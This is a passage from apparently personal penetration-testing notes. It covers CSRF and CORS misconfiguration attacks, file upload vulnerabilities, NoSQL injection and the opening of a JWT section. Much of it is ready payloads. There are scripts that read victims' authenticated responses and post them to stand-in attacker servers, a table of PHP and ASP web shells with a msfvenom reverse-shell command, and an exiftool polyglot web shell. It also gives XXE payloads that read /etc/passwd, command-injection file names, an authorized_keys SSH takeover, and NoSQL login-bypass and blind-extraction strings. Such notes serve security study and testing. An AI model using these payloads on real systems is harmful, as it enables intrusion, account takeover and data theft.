| Access-Control-Allow-Methods     | SOP exceptions for allowed HTTP methods in response to a preflight request                                                                               |
| Access-Control-Expose-Headers    | SOP exceptions for specific HTTP headers                                                                                                                 |
| Access-Control-Allow-Credentials | if set to `true`, define Same-Origin policy exceptions even if the cross-origin request contains credentials, i.e., cookies or an `Authorization` header |
| Access-Control-Max-Age           | define for how long the information in the other CORS-headers can be cached without issuing a new preflight request                                      |

***

#### Preflighted Requests

The most straightforward CORS configuration is that of a so-called `simple request`, which can be made from plain HTML, without any script code. Simple requests can be `GET` or `HEAD` requests without any custom HTTP headers.

All requests that do not fall under the simple requests conditions are called `preflighted requests`. Before sending these cross-origin requests, the browser sends a ***preflight request*** (HTTP `OPTIONS` method) to the different origin containing all the parameters of the actual cross-origin request. This enables the web server to decide whether to allow the cross-origin request. The browser waits for the response to the preflight request and only continues to send the actual cross-origin request if the web server allows it by setting the corresponding CORS headers in response to the preflight request. Since the browser requests permission from the web server before sending the actual cross-origin request, CSRF vulnerabilities with preflighted requests are impossible.

The preflight request is an `OPTIONS` request that contains the following headers:

* [Access-Control-Request-Method](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Request-Method): inform the server about the HTTP method used in the actual request
* [Access-Control-Request-Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Request-Headers): inform the server about the HTTP headers used in the actual request

***

#### CSRF Defenses (short) <a href="#recap-csrf-defenses" id="recap-csrf-defenses"></a>

Web applications use unique, random CSRF tokens to verify legitimate requests, check `Origin` and `Referer` headers to confirm the request’s source, and set cookies with the `SameSite` flag to limit cross-site cookie use.

</details>

## Tools and Resources

* CSRF PoC Generator: <https://csrf-poc-generator.vercel.app/>

***

## Setting an Attacker HTTP Server

{% hint style="info" %}
Modern browsers implement security measures that prevent HTTPS websites from loading resources via unencrypted HTTP connections. To avoid running into issues, always use HTTPS requests.
{% endhint %}

To perform any CSRF exploitation, we need to host a webserver over HTTPS.\
To do that, you need a self-signed certificate for your server, which you can generate with:

```bash
openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
```

{% hint style="warning" %}
Modern browsers won't allow loading resources on a misconfigured HTTPS webserver using a self-signed certificate. This setup is just of testing purposes.
{% endhint %}

Then, you'll need a simple Python HTTPS server that configures CORS for incoming `OPTIONS` requests to enable `POST` requests from our payloads, and additionally logs incoming requests:

{% code title="server.py" overflow="wrap" lineNumbers="true" %}

```python
from http import server
import ssl

class CustomRequestHandler(server.SimpleHTTPRequestHandler):
    def do_OPTIONS(self):
        self.send_response(200)
        self.send_header("Access-Control-Allow-Origin", "*")
        self.send_header("Access-Control-Allow-Methods", "GET, POST, OPTIONS")
        self.send_header("Access-Control-Allow-Headers", "Content-Type")
        self.end_headers()

    def do_GET(self):
        super().do_GET()

    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length)

        if body:
            self.log_message("[i] POST body: %s", body.decode("utf-8", errors="replace"))

        self.send_response(200)
        self.end_headers()

print("Serving HTTPS on 0.0.0.0 port 443 (https://0.0.0.0:443/) ...")
httpd = server.HTTPServer(('0.0.0.0', 443), CustomRequestHandler)
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(certfile='./server.pem')
httpd.socket = context.wrap_socket(httpd.socket, server_side=True)
httpd.serve_forever()
```

{% endcode %}

***

## Basic Payloads

Send a `GET` request to `https://yourtarget.com/vulnerable.php?param1=value1`

```html
<html>
  <body>
    <form method="GET" action="https://yourtarget.com/vulnerable.php">
      <input type="hidden" name="param1" value="value1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
```

Send a POST request to `https://yourtarget.com/vulnerable.php` with `param1=value1`

```html
<html>
  <body>
    <form method="POST" action="https://yourtarget.com/vulnerable.php">
      <input type="hidden" name="param1" value="value1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
```

Send a POST request with two JSON parameters&#x20;

```html
<html>
  <body>
    <script>
      fetch("https://yourtarget.com/vulnerable.php", {
        method: "POST",
        headers: {
          "Content-Type": "application/json"
        },
        body: JSON.stringify({
          param1: "value1",
          param2: "value2"
        })
      });
    </script>
  </body>
```

***

## Leveraging CORS Misconfigurations

### Arbitrary Origin Reflection

The `Access-Control-Allow-Origin` header contains the origins allowed to bypass the Same-Origin policy, making the browser allow the origin to access the web app's response.

#### Identifying the misconfiguration

To identify a CORS misconfiguration that reflects arbitrary origins, edit your request and add any arbitrary domain to the request's `Origin` header, then, send the request and check if the domain is included in the `Access-Control-Allow-Origin` response header.&#x20;

{% hint style="info" %}
Sometimes, a web application might check an origin against a whitelist before reflecting it.\
If the whitelist checks for strings containing a prefix or suffix of an origin, it may be vulnerable.
{% endhint %}

The header can be set to a wildcard (`*`), which results in all origins being granted a Same-Origin policy bypass. ***Notice that, for security reasons, the wildcard origin cannot be combined with the*** `Access-Control-Allow-Credentials: true`

{% hint style="danger" %}
Note: A combination of origin and wildcard, such as https\://\*.example.com is not valid!
{% endhint %}

To exploit this misconfiguration, you will need to host the following payload on your attacker server:

```html
<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://misconfigured-cors.example/data.php', true);
    xhr.withCredentials = true;
    xhr.onload = () => {
        var exfil = new XMLHttpRequest();
        exfil.open('POST', 'https://yourserver.example/log', true);
        exfil.setRequestHeader('Content-Type', 'application/json');
        exfil.send(JSON.stringify({data: btoa(xhr.responseText)}));
    };
    xhr.send();
</script>
```

{% hint style="success" %}
You don't need to set the Origin header: the browser will automatically set it to your attacker server's domain.
{% endhint %}

Then, supposing a victim is authenticated to the misconfigured-cors web application, and navigates to your server's page where the payload is hosted, they will automatically send a request to the vulnerable web application and you will receive a request containing a base64 value corresponding to the web application's response.

{% hint style="info" %}
This works because the response reflects the origin in the CORS header and allows credentials, meaning the attacker's origin is granted an exception to the Same-Origin policy.\
\
For example, if a web application only accepts origins containing "google.com", you can create a domain named "sfoffogoogle.com" and exploit the vulnerability.
{% endhint %}

If the server's `Access-Control-Allow-Credentials` header is set to `true`, you can potentially make authenticated requests in the victim's context, potentially gaining access to sensitive user-related information and allowing actions to be performed on behalf of the victim.

***

### Trusted null origin <a href="#trusted-null-origin" id="trusted-null-origin"></a>

The `Access-Control-Allow-Origin` header not only supports a trusted origin and a wildcard but also the value `null`, which indicates the `null origin`. Although this should not be used in practice, some web applications may implement it due to a misconception of its meaning.

An attacker can employ various methods to force a null origin on a cross-origin request, which is subsequently trusted, resulting in a Same-Origin policy exception.

To exploit this, check whether the `null` Origin is reflected. If it works, you can enforce a `null` origin using a `sandboxed iframe`&#x20;

{% code overflow="wrap" %}

```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://cors-vulnerable.example/cors.php', true);
    xhr.withCredentials = true;
    xhr.onload = () => {
        var exfil = new XMLHttpRequest();
        exfil.open('POST', 'https://your-attackerserver.com/log', true);
        exfil.setRequestHeader('Content-Type', 'application/json');
        exfil.send(JSON.stringify({data: btoa(xhr.responseText)}));
    };
    xhr.send();
</script>"></iframe>
```

{% endcode %}

{% hint style="info" %}
This attack is an extension of the arbitrary origin reflection.\
The previous exploit payload is the same as in the previous misconfiguration. However, the sandboxed iframe results in a `null` origin in the cross-origin request instead of using the attacker server as the origin.
{% endhint %}

***

#### Targeting internal Assets

Even if the web application does not configure CORS to allow credentials, an attacker might still be able to target web applications running in a local network behind a firewall, reverse proxy, or NAT that are not publicly accessible.

Data exfiltration may be possible if these do not require authentication and contain a CORS misconfiguration that trusts the attacker's origin.

The next payload can work if the victim opening it is in the same internal network as the internal asset:

```html
<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://192.168.1.1/data.php', true);
    xhr.onload = () => {
        var exfil = new XMLHttpRequest();
        exfil.open('POST', 'https://attackerserver.example/log', true);
        exfil.setRequestHeader('Content-Type', 'application/json');
        exfil.send(JSON.stringify({data: btoa(xhr.responseText)}));
    };
    xhr.send();
</script>
```

***

### Bypassing CSRF Tokens

If CORS is misconfigured to allow cross-origin requests with credentials (`Access-Control-Allow-Credentials: true`) and reflects an attacker-controlled origin via the `Access-Control-Allow-Origin` header, CSRF token protections can be bypassed, provided that the user’s session cookies are set with `SameSite=None` and `Secure`.

This allows an attacker to issue an authenticated cross-origin request to an endpoint that generates a valid CSRF token, read the token from the response, embed it into a subsequent state-changing cross-origin request, and successfully perform the action on behalf of the victim.

Since all requests are executed within the victim’s authenticated session, the CSRF token remains valid even if it is properly tied to the user session.

```html
<script>
    // GET CSRF token
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://csrf-vulnerable.example/token.php', false);
    xhr.withCredentials = true;
    xhr.send();
    var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
    var csrftoken = encodeURIComponent(doc.getElementById('csrf').value);

    // Exploit
    var csrf_req = new XMLHttpRequest();
    var params = `param1=value1&csrf=${csrftoken}`;
    csrf_req.open('POST', 'https://csrf-vulnerable.example/profile.php', false);
    csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    csrf_req.withCredentials = true;
    csrf_req.send(params);
</script>
```

## Other Misconfigurations

### Bypassing SameSite Cookies

The `SameSite` cookie attribute is sent according to the request's source `site` attribute, instead of using the `origin` that is normally considered by the Same Origin Policy.

The key difference between `site` and `origin` is that the ***port and subdomain are not considered part of the site***, meaning that two domains are considered the same site, even if the port and subdomain differ.

#### Bypassing Lax SameSite cookies

You can leverage the `Lax` declaration to circumvent restrictions imposed by SameSite cookies.

`Lax` SameSite cookies are only sent with safe requests, such as GET requests.\
If the web application contains any endpoints that are state-changing and are accessed with GET requests, the SameSite protection is ineffective to prevent CSRF attacks.&#x20;

#### Bypassing Strict SameSite cookies

Client-side redirections are initiated by the starting site, meaning that the redirection is considered SameSite and allows sending the victim's cookies with the request, even if they are set as `Strict` SameSite.

If you can redirect the victim to a misconfigured endpoint that accepts GET requests for state-changing operations, you can execute a successful CSRF attack.

{% hint style="info" %}
Note: this bypass only works with client-side redirects, not server-side redirects such as HTTP 3xx status codes.
{% endhint %}

***

## Weak CSRF Tokens

Simple bypasses to weak tokens can occur when:

1. ***the CSRF token is not tied to a user session***: In that case, an attacker accessing the vulnerable web application can add a valid CSRF token to the cross-origin request from their own session.&#x20;
2. ***CSRF tokens are not entirely random, or the generation algorithm is predictable:*** depending on how token is created, we might be able to guess it in a single attempt or brute-force it. For example, some tokens may be generated based on the current Unix Timestamp.


# File Upload Vulnerabilities

## **Introduction**

File upload vulnerabilities arise when a web server allows users to upload files to its filesystem without sufficiently validating them.

The ability to upload a malicious file can be an issue by itself, as attackers might upload dangerous data on the filesystem.\
In other cases, an attacker could potentially upload a server-side code file that functions as a web shell, effectively granting them full control over the server.

The impact of this class of vulnerabilities mostly depends on two factors:

1. Which part of the file is properly validated (e.g. its size, type, contents, ...)
2. Which restrictions are set on the file after it has effectively been uploaded

***

## How Web Servers handle file requests

Whenever a resource is requested, the web server parses the path in the request to identify the file extension. The server then uses this to determine the type of the file being requested, typically by comparing it to a list of preconfigured mappings between extensions and MIME types.\
What happens next depends on the file type and the server's configuration.

When requesting a **static file**, the server will most probably send the file's contents to the client within an HTTP response.

When requesting a **dynamic file**, there are two cases:

* If the server is configured to execute files of that type, it will assign variables based on the headers and parameters in the HTTP request before running the script. The resulting output may then be sent to the client in an HTTP response
* If the server is not configured to execute files of that type, it will generally respond with an error. However, in some cases, the contents of the file may still be served to the client as plain text.

{% hint style="info" %}
Note:&#x20;

The Content-Type response header may provide clues as to what kind of file the server thinks it has served.

If this header hasn't been explicitly set by the application code, it normally contains the result of the file extension/MIME type mapping.

*If you are lucky enough, you might edit your request's "Accept" header to ask for a specific response content-type, potentially allowing you to still gain code execution!*
{% endhint %}

***

## **File Types and Related Attacks**

| File Types              | Potential Attack |
| ----------------------- | ---------------- |
| HTML, JS, SVG, GIF      | XSS              |
| XML, SVG, PDF, PPT, DOC | XXE/SSRF         |
| ZIP, JPG, PNG           | DoS              |

***

## **Web and Reverse Shells Payloads to Inject**

<table><thead><tr><th width="477">Web Shell</th><th>Description</th></tr></thead><tbody><tr><td><code>&#x3C;?php file_get_contents('/etc/passwd'); ?></code></td><td>Basic PHP File Read</td></tr><tr><td><code>&#x3C;?php system('hostname'); ?></code></td><td>Basic PHP Command Execution</td></tr><tr><td><code>&#x3C;?php system($_GET['cmd']); ?></code></td><td>Basic PHP Web Shell</td></tr><tr><td><code>&#x3C;% eval request('cmd') %></code></td><td>Basic ASP Web Shell</td></tr><tr><td><code>msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php</code></td><td>Generate PHP reverse shell</td></tr><tr><td>https://github.com/Arrexel/phpbash</td><td>PHP Web Shell</td></tr><tr><td>https://github.com/pentestmonkey/php-reverse-shell</td><td>PHP Reverse Shell</td></tr><tr><td>https://github.com/danielmiessler/SecLists/tree/master/Web-Shells</td><td>List of Web Shells and Reverse Shells</td></tr></tbody></table>

***

## **Extension Blacklist Bypasses**

One of the more obvious ways of preventing users from uploading malicious scripts is to blacklist potentially dangerous file extensions like `.php`

You might use the following techniques to bypass some basic extension blacklists:

| Command                                                                                                                                                                                                                                                                                                                                                                                                                                                              | Description                                                   |
| -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------- |
| `shell.phtml`                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Uncommon Extension                                            |
| `shell.pHp`                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Case Manipulation                                             |
| `shell.php.`                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Ending dot character                                          |
| `shell.jpg.php`                                                                                                                                                                                                                                                                                                                                                                                                                                                      | Double Extension                                              |
| `shell.php.jpg`                                                                                                                                                                                                                                                                                                                                                                                                                                                      | Reverse Double Extension                                      |
| `%20, %0a, %00, %0d0a, /, .\, ., …`                                                                                                                                                                                                                                                                                                                                                                                                                                  | Character Injection - Before/After Extension                  |
| <p><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst">List of PHP Extensions</a></p><p><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Extension%20ASP">List of ASP Extensions</a></p><p><a href="https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt">List of Web Extensions</a></p> | Use some alternative extensions that might not be blacklisted |

### **Overriding the server's configuration files**

In some cases, you might be able to leverage a file upload vulnerablity to move inside the filesystem and override files.\
In that case, you can override the server's configuration to allow certain extensions, such as `.php`

<details>

<summary>Apache Servers</summary>

When dealing with Apache servers, you can write the following directives to the `/etc/apache2/apache2.conf` file:

```
LoadModule php_module /usr/lib/apache2/modules/libphp.so
    AddType application/x-httpd-php .php
```

Alternatively, you can also override the `.htaccess` file to write the configuration *for specific directories*.

*<mark style="color:blue;">**Info:**</mark> .htaccess files provide a way to make configuration changes on a per-directory basis. The directives in this file apply to the directory where the file is uploaded and its subdirectories.*

If the file upload functionality has blacklisted all php extensions, you can upload a php webshell using the `.anything` extension. Then, upload a `.htaccess` file containing the following:

```
AddType application/x-httpd-php .anything
```

You will now be able to access the `webshell.anything` file and gain a PHP webshell!

*<mark style="color:red;">**Notice:**</mark> you will most probably not be able to access the .htaccess file from the webserver, as direct access to it is typically disabled by the web server*

</details>

<details>

<summary>IIS Servers</summary>

You can make directory-specific configuration on IIS servers using a `web.config` file.

For example, in order to enable JSON files to be served to users, you can add the following directives to the previously mentioned file:

```
<staticContent>
    <mimeMap fileExtension=".json" mimeType="application/json"/>
</staticContent>
```

You may occasionally find servers that fail to stop you from uploading your own malicious configuration file. In this case, even if the file extension you need is blacklisted, you may be able to trick the server into mapping an arbitrary, custom file extension to an executable MIME type.

</details>

***

## **Content/Type and Mime/Type Bypass**

Modern servers may verify that the contents of the file actually match what is expected.

For example, some properties of specific types of files might be checked: uploading a PHP file when an image is expected might fail because the web server is checking for the dimensions (length and width) of the file, which are not properties of a PHP file, causing the validation mechanism to deny the file upload.

In some other cases, the file's signature (or magic bytes) are checked during the file upload procedure.&#x20;

{% hint style="success" %}
A file's signature can be used like a fingerprint or signature to determine whether the contents match the expected type.

For example, JPEG files begin with the bytes `FF D8 FF`.

Check this link for reference:

[List of File Signatures/Magic Bytes](https://en.wikipedia.org/wiki/List_of_file_signatures)
{% endhint %}

Using an image file upload as an example, you might be able to upload a php webshell using a **polygot** **JPEG** file containing the payload in its metadata

{% hint style="info" %}
A polyglot file is a single file that can be interpreted in multiple valid formats, depending on the program or context used to open it.

These files are crafted to contain data for different file types in such a way that various applications can read or interpret it as different formats.
{% endhint %}

To do that, you can use tools such as `ExifTool` to add the payload, for example, in the image's comment metadata section:

```
exiftool -Comment="<?php system($_GET['cmd']); ?>" image.jpg -o polyglot.php
```

This will craft a file named `polyglot.php` which has the contents of a `JPG` file.

If the web server check the file's contents to ensure it is a JPG file, this will bypass such restriction. Otherwise, you will need to add extra work on this payload.

***

## **Exploiting File Upload Race Conditions**

Some websites' file upload functionalities allow the uploaded file to be uploaded on the filesystem and then remove it if it doesn't pass some validation checks. This kind of behaviour is typical in websites that rely on **anti-virus software and the like to check for malware**.

This may only take a few milliseconds, but for the short time that the file exists on the server, the attacker can potentially still execute it.

{% hint style="success" %}
Notice that, if the file is loaded into a temporary directory with a randomized name, it could still be possible for an attacker to exploit a race condition: an example is when the random name is generated using pseudo-random functions like PHP's `uniqid()`,  which could be brute-forced.&#x20;
{% endhint %}

To make attacks like this easier, you can try to extend the amount of time taken to process the file, thereby lengthening the window for brute-forcing the directory name. To do that, you can upload a larger file. If it is processed in chunks, you can potentially take advantage of this by creating a malicious file with the payload at the start, followed by a large number of arbitrary padding bytes.

{% hint style="success" %}
You can check whether a potential file upload race condition is in place by uploading an EICAR file, which is a standard anti-malware test file. If the file is uploaded and deleted from the file system, then it could be possible that an anti-malware check is in place, allowing you to have a short time frame to access your uploaded file.

You can download the EICAR file signature [here](https://www.eicar.org/download-anti-malware-testfile/)
{% endhint %}

***

## **File Uploads to XSS Attack**

There are different cases in which you can gain XSS from file uploads:

1. Uploading a HTML file containing a script in javascript
2. Uploading a HTML file containing a link to our server to steal the document cookie

Other cases:

1. Whenever an application shows an image's metadata after its upload, it is possible to inject a payload inside metadata parameters such as `comment` or `artist` by using `exiftool`:
   * `exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg`
2. By using SVG images, it's possible to inject a payload with something like:
   * `<script type="text/javascript"> alert("window.origin");</script>`

***

## File Upload to SSH Access

Suppose you have an Arbitrary File Upload vulnerability where you can also specify the uploaded file's location, whether via a vulnerable filename or a path parameter. Also suppose that you have write access on SSH's authorized\_keys file for a local user.

You can gain an SSH shell using the following:

1. Use `ssh-keygen` to generate a key named `fileup`
2. cat fileup > authorized\_keys
3. Upload the file to `/home/username/.ssh/authorized_keys` (or `/root/.ssh/authorized_keys`).
4. Note that  you might need to leverage a path traversal vulnerability to reach these destinations.
5. Use `ssh username@IP -i fileup` to gain the SSH shell as `username`
6. Notice that SSH might require using `chmod 500 fileup` to use the `-i fileup` option

***

## **File Uploads to XXE Attacks**

1. \[Read `/etc/passwd`] XXE from SVG images upload by using the following payload:

   ```
   <?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
   <svg>&xxe;</svg>
   ```
2. \[Exfiltrate PHP Code] XXE from SVG to read source code:

   ```
   <?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]> 
   <svg>&xxe;</svg>
   ```

***

## **Injections in File Names**

> * A common file upload attack uses a malicious string for the uploaded file name
> * The filename may get executed or processed if the uploaded file name is reflected on the page.
> * We can try injecting a command in the file name, and if the web application uses the file name within an OS command, it may lead to a command injection attack.
> * Some examples of filenames for this attack:

1. System Command Execution
   * `file$(whoami).jpg`
   * `file`whoami`.jpg`
   * `file.jpg||whoami`
2. XSS from filename:
   * `<script>alert(window.origin);</script>`
3. SQLi from filename:
   * `file';select+sleep(5);--.jpg`

***

## **Windows Specific Attacks**

1. **Reserved Characters:** such as (`|`, `<`, `>`, `*`, or `?`) are characters for special uses (such as wildcards).
   * If the web application doesn't apply any form of input sanification, it's possible to refer to a file different from the specified one (which does not exist)
   * This behaviour causes an error which may be shown on the web application, potentially showing the `upload directory`
2. **Windows Reserved Names:** can be used to replicate the same behaviour as the reserved characters previously shown. (`CON`, `COM1`, `LPT1`, or `NUL`)
3. **Windows Filename Convention:** it's possible to overwrite a file (or refer to a non-existant file) by using the `~` character to complete the filename
   * Example: `HAC~1.TXT` → may refer to hackthebox.txt
   * Reference: <https://en.wikipedia.org/wiki/8.3_filename>


# NoSQL Injection

## Useful Resources

* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection>
* <https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html>
* <https://nullsweep.com/nosql-injection-cheatsheet/>
* <https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Databases/SQLi/NoSQL.txt>
* <https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt>
* <https://portswigger.net/bappstore/605a859f0a814f0cbbdce92bc64233b4>

#### NoSQLMap

As of writing these notes, the nosqlmap installation described in the github repository does not seem to work. To install it:

```
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
sudo apt install python2.7
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py
pip2 install couchdb
pip2 install --upgrade setuptools
pip2 install pbkdf2
pip2 install pymongo
pip2 install ipcalc
```

Then you can run it using

`python2 nosqlmap.py --attack 2 --victim 127.0.0.1 --webPort 80 --uri /index.php --httpMethod POST --postData param1name,parameter1value,param2name,parameter2value --injectedParameter 1 --injectSize 5`&#x20;

{% hint style="success" %}
`--injectedParameter 1` specifies that we want to inject the parameter with index 1 in the `postData` list, which is `parameter2name` in this case
{% endhint %}

***

## Fundamentals

Unlike relational databases, NoSQL databases store data in different ways varying on their type

<table><thead><tr><th width="177">NoSQL Database Type</th><th>Description</th></tr></thead><tbody><tr><td>Document-Oriented</td><td>Stores data in <strong>documents</strong> which contain pairs of <strong>fields</strong> and <strong>values</strong>. Documents are typically <strong>encoded</strong> in formats such as <strong>JSON</strong> or <strong>XML</strong>.</td></tr><tr><td>Key-Value</td><td>A data structure that stores data in key:value pairs, like  a dictionary.</td></tr><tr><td>Wide-Column</td><td><strong>Similar to relational databases</strong>, as they store data in tables, rows, and columns, but with the ability to handle <strong>more ambiguous data types</strong>.</td></tr><tr><td>Graph</td><td>Stores data in <strong>nodes</strong> and uses <strong>edges</strong> to define relationships</td></tr></tbody></table>

{% hint style="warning" %}
I will only cover MongoDB, as it is the most popular NoSQL database.

*Also, since NoSQL has no standardized query language like SQL does, its injection attacks may differ based on the specific implementation you are facing.*
{% endhint %}

***

## Authentication Bypass

Suppose you are facing a web application login that requires a username and a password

```http
POST /login.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded

username=wrong&password=wrong
```

To bypass authentication without valid credentials, we want this query to return a match on any document to get us authenticated as whoever it matched.

A straightforward way to do this would be to use the `$ne` query operator on both `username` and `password` to match values that are `not equal` to something we know **doesn't exist**.&#x20;

Since the parameters are URL-encoded, we can't just pass JSON objects to PHP.\
To solve, this we need to change the syntax: `param[$op]=val` is the same as `param: {$op: val}` so we will try to bypass authentication with `username[$ne]=wrong` and `password[$ne]=wrong`

```http
POST /login.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded

username[$ne]=wrong&password[$ne]=wrong
```

An alternative approach would use the `$regex` query parameter on both fields to match `/.*/`, which means **any character repeated 0 or more times**, which, in turn, matches everything.

```http
POST /login.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded

username[$regex]=.*&password[$regex]=.*
```

Lastly, some other payloads that could work are:

```
username=admin&password[$ne]=x    # to target the admin user
username[$gt]=&password[$gt]=     # any string greater than 0 -> matches everything
username[$gte]=&password[$gte]=   # same logic
```

***

## Data Extraction (In-Band) <a href="#in-band-data-extraction" id="in-band-data-extraction"></a>

{% hint style="info" %}
Data extraction in NoSQL databases differs from relational databases: queries are performed on specific collection, meaning that ***data exfiltration attacks are limited to the collection where the query applies.***
{% endhint %}

When extracting data in-band, the ideas are the very same as the authentication bypasses shown previously: we will inject **payloads to match everything based on always true/false conditions**

{% tabs %}
{% tab title="URL-Encoded" %}
param\[$ne]=x\
param\[$gt]=\
param\[$gte]=\
param\[$lt]=\~\
param\[$lte]=\~\
param\[$regex]=.\*
{% endtab %}

{% tab title="JSON" %}
{param: {$ne: 'x'}}\
{param: {$gt: ''}}\
{param: {$gte: ''}}\
{param: {$lt: '~~'}}~~\
~~{param: {$lte: '~~'}}\
{param: {$regex: '.\*'}}\
{param: {$nin: \[]}}
{% endtab %}
{% endtabs %}

***

## Data Extraction (Blind)

When trying to extract data that is not being reflected back to us, we can use regex to get the value we are looking for, one character at a time.

Consider an example where you can search for orders by their package number. The search query requires a "packageNumber" parameter and responds with the information related to the package. It won't confirm whether the package number exists or not.

We can confirm the injection point exists by sending a payload that will match any entry returned by the underlying query, such as `{"packageNumber":{"$ne":"x"}}`.\
After that, we can send `{"packageNumber":{"$regex":"^.*"}}`, to match all documents.

If that works, we can iteratively look for other characters in the packageNumber by sending:

```
{"packageNumber":{"$regex":"^0.*"}}
{"packageNumber":{"$regex":"^1.*"}}
{"packageNumber":{"$regex":"^2.*"}}
.....
{"packageNumber":{"$regex":"^21.*"}}
{"packageNumber":{"$regex":"^22.*"}}
....
{"packageNumber":{"$regex":"^221.*"}}
{"packageNumber":{"$regex":"^222.*"}}
....
{"packageNumber":{"$regex":"^2221262$"}}
```

{% hint style="success" %}
A dollar sign (`$`) is appended to the regular expression to mark the end of a string, allowing us to verify whether the entire package number has been dumped.
{% endhint %}

***

## Server-Side Javascript Injection (SSJI) via NoSQLi

One type of injection unique to NoSQL is JavaScript Injection, which may happen when an attacker can get the server to execute arbitrary JavaScript in the context of the database because the server leverages a JavaScript file that evaluates the parameters sent by the user to run the NoSQL query.&#x20;

{% hint style="danger" %}
Notice: The JavaScript code is not shown in the front end!\
It is executed by the server when checking the user parameters at the back end.
{% endhint %}

### Authentication Bypass

A JavaScript file related to authentication may contain something like:

{% code overflow="wrap" %}

```javascript
.find({$where: "this.username == \"" + req.body['username'] + "\" && this.password == \"" + req.body['password'] + "\""});
```

{% endcode %}

In this case, an attacker could send a payload like `username = " || ""=="` to try and make the server evaluate a query such as `db.users.find({$where: 'this.username == "" || ""=="" && this.password == "" || ""==""'})` which results in every document being returned and presumably logging the attacker in as one of the returned users.

### Data Extraction

The previous attack may allow us to login as a random user, or login without a valid username.\
In the second case, we can proceed with a blind data extraction payload to try and exfiltrate valid usernames (and login as the related user) using an iterative approach to find all characters of the username, one by one, with regular expressions.\
If we are logged in as an invalid user, we can proceed with the next character:

```
username = " || (this.username.match('^a.*')) || ""=="
.......
username = " || (this.username.match('^s.*')) || ""=="
username = " || (this.username.match('^sf.*')) || ""=="
username = " || (this.username.match('^sfo.*')) || ""=="
username = " || (this.username.match('^sfof.*')) || ""=="
username = " || (this.username.match('^sfoff.*')) || ""=="
username = " || (this.username.match('^sfoffo$')) || ""=="
```

### <br>


# JSON Web Tokens (JWTs)

JSON Web Token (JWT) is a format for transmitting cryptographically secure data.  JWTs are typically used by web applications as a stateless session token.

in JWT-based authentication, the session token is replaced by a JWT containing user information. After verifying the token's signature, the server can retrieve all user info from the JWT claims sent by the user.

JWTs consist of three main parts: a **header**, a **payload**, and a **signature**, which are **base64-encoded** and separated by **dot** `.` characters:

```
<Base64_Header>.<Base64_Payload>.<Base64_Signature>
```

* *<mark style="color:$success;">**Header**</mark>* - contains ***metadata*** about the token itself, holding information that allows interpreting it such as the ***ecryption algorithm*** used to secure the JWT token
* *<mark style="color:$success;">**Payload**</mark>* - contains the actual ***data*** making up the token. This data comprises multiple standard (registered) ***claims*** or arbitrary, user-defined claims
* *<mark style="color:$success;">**Signature**</mark>* - computed based on the JWT's header, payload, and a ***secret signing key***, using the algorithm specified in the header. The integrity of the JWT token is protected by the signature.

{% hint style="danger" %}
If any data within the header, payload, or signature itself is manipulated, *the signature will no longer match the token, thus enabling the detection of manipulation.*

Having knowledge of the secret signing key is required to compute a valid signature for a signed JWT.
{% endhint %}

***

### Useful Tools and Resources

* <https://jwt.io/> and <https://jwt.lannysport.net/>
* <https://gchq.github.io/CyberChef/>&#x20;
* <https://github.com/ticarpi/jwt_tool>
* <https://github.com/silentsignal/rsa_sign2n>

***

## Attacking Signature Verification

The signature protects data within the JWT's payload. Without knowing the JWT's secret key, it's impossible to manipulate the token without invalidating it.&#x20;

However, there are some misconfigurations in web applications that lead to improper signature verification, enabling us to manipulate the data within a JWT's payload.

### Basic Misconfigurations

#### Case 1 - JWT signature verification is not in place

The first easy misconfiguration is when the web application does not check the JWT's integrity. If the web application is misconfigured to accept JWTs without verifying their signature, we can manipulate our JWT to escalate privileges or change our user data.

#### Case 2 - Signing algorithm set to None

Setting a manipulated JWT's algorithm to none implies that the JWT does not contain a signature, and the web application should accept it without computing one, which sometimes allows bypassing signature verification checks.

To forge a JWT with the `none` algorithm, we must set the `alg`-claim in the JWT's header to `none`

{% hint style="warning" %}
